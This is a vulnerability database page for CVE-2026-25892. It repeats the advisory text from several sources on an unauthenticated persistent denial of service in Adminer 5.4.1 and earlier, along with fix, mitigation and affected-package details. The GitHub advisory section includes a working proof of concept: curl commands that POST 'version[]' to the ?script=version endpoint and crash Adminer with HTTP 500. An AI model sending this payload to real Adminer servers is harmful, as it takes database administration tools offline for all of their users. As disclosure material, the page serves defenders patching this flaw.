CVE-2026-25892
Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint
Adminer is open-source database management software. Adminer v5.4.1 and earlier has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users. Upgrade to Adminer 5.4.2.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint
Adminer is open-source database management software. Adminer v5.4.1 and earlier has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users. Upgrade to Adminer 5.4.2.
- Record
CVE-2026-25892- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
EUVDEUVD-2026-6870
7.5
Adminer is open-source database management software. Adminer v5.4.1 and earlier has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users. Upgrade to Adminer 5.4.2.
- Record
EUVD-2026-6870- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-q4f2-39gr-45jh
7.5
Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint
Summary
Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.
Fix
Upgrade to Adminer 5.4.2.
Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.
Details
1. Intended design of ?script=version:
The endpoint is designed to receive version data from adminer.org via browser JavaScript:
functions.jsline 102-117: Creates iframe tohttps://www.adminer.org/version/- Adminer.org sends signed version data via
postMessage - JavaScript POSTs this to
?script=version - Server stores in
/tmp/adminer.versionfor signature verification
// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);
2. The vulnerability:
The endpoint only checks $_GET["script"] == "version" - it does not validate:
- Request origin (no CSRF token check for this endpoint)
- Request source (any HTTP client can POST)
- Parameter types (
versionexpected as string, array not rejected)
// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
$filename = get_temp_dir() . "/adminer.version";
@unlink($filename);
$fp = file_open_lock($filename);
if ($fp) {
file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
}
exit;
}
3. Type confusion crash:
When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():
// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {
PHP 8.x throws:
TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given
PoC
Steps to Reproduce:
Step 1: Verify Adminer is running and accessible.
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
Expected output:
200
Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.
curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
-d "signature=x&version[]=INJECTED"
Expected output: Empty response (no error).
Step 3: Access Adminer again to trigger the crash.
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
Expected output:
500
Step 4: (Optional) View the PHP error in server logs.
PHP Fatal error: Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386
Step 5: (Optional) Inspect the poisoned file.
cat /tmp/adminer.version
Expected output:
a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}
Recovery:
rm /tmp/adminer.version
After deletion, Adminer returns HTTP 200.
Impact
Type: Denial of Service
Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.
Affected users: Any Adminer instance accessible over the network.
- Record
GHSA-q4f2-39gr-45jh- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
NVD
7.5
Adminer is open-source database management software. Adminer v5.4.1 and earlier has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users. Upgrade to Adminer 5.4.2.
- Record
CVE-2026-25892- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSV
7.5
Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint
Adminer is open-source database management software. Adminer v5.4.1 and earlier has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users. Upgrade to Adminer 5.4.2.
- Record
CVE-2026-25892- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVGHSA-q4f2-39gr-45jh
7.5
Adminer has an Unauthenticated Persistent DoS via Array Injection in ?script=version Endpoint
Summary
Adminer v5.4.1 has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users.
Fix
Upgrade to Adminer 5.4.2.
Mitigation (if you can't upgrade): Make file adminer.version in temp directory (usually the value of upload_tmp_dir) unwritable by web server.
Details
1. Intended design of ?script=version:
The endpoint is designed to receive version data from adminer.org via browser JavaScript:
functions.jsline 102-117: Creates iframe tohttps://www.adminer.org/version/- Adminer.org sends signed version data via
postMessage - JavaScript POSTs this to
?script=version - Server stores in
/tmp/adminer.versionfor signature verification
// functions.js line 117
ajax(url + 'script=version', () => { }, event.data + '&token=' + token);
2. The vulnerability:
The endpoint only checks $_GET["script"] == "version" - it does not validate:
- Request origin (no CSRF token check for this endpoint)
- Request source (any HTTP client can POST)
- Parameter types (
versionexpected as string, array not rejected)
// bootstrap.inc.php line 32-40
if ($_GET["script"] == "version") {
$filename = get_temp_dir() . "/adminer.version";
@unlink($filename);
$fp = file_open_lock($filename);
if ($fp) {
file_write_unlock($fp, serialize(array("signature" => $_POST["signature"], "version" => $_POST["version"])));
}
exit;
}
3. Type confusion crash:
When POST contains version[] instead of version, PHP creates an array. When Adminer reads this file and passes to openssl_verify():
// design.inc.php line 75
if (openssl_verify($version["version"], base64_decode($version["signature"]), $public) == 1) {
PHP 8.x throws:
TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given
PoC
Steps to Reproduce:
Step 1: Verify Adminer is running and accessible.
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
Expected output:
200
Step 2: Send the malicious POST request. The version[] syntax causes PHP to create an array instead of a string.
curl -X POST "http://localhost:8888/adminer-5.4.1.php?script=version" \
-d "signature=x&version[]=INJECTED"
Expected output: Empty response (no error).
Step 3: Access Adminer again to trigger the crash.
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:8888/adminer-5.4.1.php
Expected output:
500
Step 4: (Optional) View the PHP error in server logs.
PHP Fatal error: Uncaught TypeError: openssl_verify(): Argument #1 ($data) must be of type string, array given in adminer-5.4.1.php:1386
Step 5: (Optional) Inspect the poisoned file.
cat /tmp/adminer.version
Expected output:
a:2:{s:9:"signature";s:1:"x";s:7:"version";a:1:{i:0;s:8:"INJECTED";}}
Recovery:
rm /tmp/adminer.version
After deletion, Adminer returns HTTP 200.
Impact
Type: Denial of Service
Root cause: The ?script=version endpoint is designed to receive data from adminer.org via JavaScript, but lacks server-side validation. Any HTTP client can POST directly to this endpoint. Combined with missing type validation before openssl_verify(), this allows persistent DoS.
Affected users: Any Adminer instance accessible over the network.
- Record
GHSA-q4f2-39gr-45jh- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-20
- Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-25892
7.5
Adminer is open-source database management software. Adminer v5.4.1 and earlier has a version check mechanism where adminer.org sends signed version info via JavaScript postMessage, which the browser then POSTs to ?script=version. This endpoint lacks origin validation and accepts POST data from any source. An attacker can POST version[] parameter which PHP converts to an array. On next page load, openssl_verify() receives this array instead of string and throws TypeError, returning HTTP 500 to all users. Upgrade to Adminer 5.4.2.
- Record
UBUNTU-CVE-2026-25892- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vrana/adminerPackagist |
4.6.2 up to 5.4.2 | 5.4.2 |
vrana/adminerPackagist |
4.6.2 up to 5.4.2, plus listed versions v4.10v4.11v4.12v4.13v4.14 Show 37 moreShow lessv4.16.0v4.17.0v4.17.1v4.6.2v4.6.3v4.7.0v4.7.1v4.7.2v4.7.3v4.7.4v4.7.5v4.7.6v4.7.7v4.7.8v4.7.9v4.8.0v4.8.1v4.8.2v4.9v4.9.1v4.9.2v4.9.3v4.9.4v5.0.0v5.0.1v5.0.2v5.0.3v5.0.4v5.0.5v5.0.6v5.1.0v5.1.1v5.2.0v5.2.1v5.3.0v5.4.0v5.4.1 |
5.4.2 |
adminerUbuntu:Pro:16.04:LTS |
All versions, plus listed versions 4.2.1-14.2.1-1ubuntu14.2.1-1ubuntu1+esm1 |
None known |
adminerUbuntu:Pro:18.04:LTS |
All versions, plus listed versions 4.3.1-24.5.0-14.6.1-14.6.2-14.6.2-1ubuntu0.1~esm1 |
None known |
adminerUbuntu:Pro:20.04:LTS |
All versions, plus listed versions 4.7.2-14.7.4-14.7.5-14.7.6-14.7.6-1ubuntu0.1~esm1 |
None known |
adminerUbuntu:22.04:LTS |
All versions, plus listed versions 4.7.9-24.8.1-1 |
None known |
adminerUbuntu:24.04:LTS |
All versions, plus listed versions 4.8.1-14.8.1-1ubuntu14.8.1-2 |
None known |
adminerUbuntu:25.10 |
All versions, plus listed versions 4.8.1-45.2.1+dfsg-1 |
None known |
adminerUbuntu:26.10 |
All versions, plus listed versions 5.4.1+dfsg-15.4.2+dfsg-15.4.4+dfsg-16.0.0-1 |
None known |
adminerUbuntu:26.04:LTS |
All versions, plus listed versions 5.2.1+dfsg-15.3.0+dfsg-15.4.0+dfsg-15.4.1+dfsg-1 |
None known |
Public exploits
Links only. Every CVE stores no exploit code.
| Source | Link | Date |
|---|---|---|
| Nuclei | Adminer 4.6.2 - 5.4.1 Unauthenticated Persistent DoS |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, Nuclei, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-25892 is a high vulnerability (CVSS 7.5) in Adminer, published February 9, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 1.69%, the 77th percentile. Fixed in vrana/adminer 5.4.2.
References
github.com/vrana/adminer/security/advisories/GHSA-q4f2-39gr-45jh
github.com/vrana/adminer/commit/21d3a3150388677b18647d68aec93b7850e457d3
github.com/vrana/adminer/releases/tag/v5.4.2
nvd.nist.gov/vuln/detail/CVE-2026-25892
github.com/advisories/GHSA-q4f2-39gr-45jh
github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25892.json
github.com/vrana/adminer
ubuntu.com/security/CVE-2026-25892
cve.org/CVERecord?id=CVE-2026-25892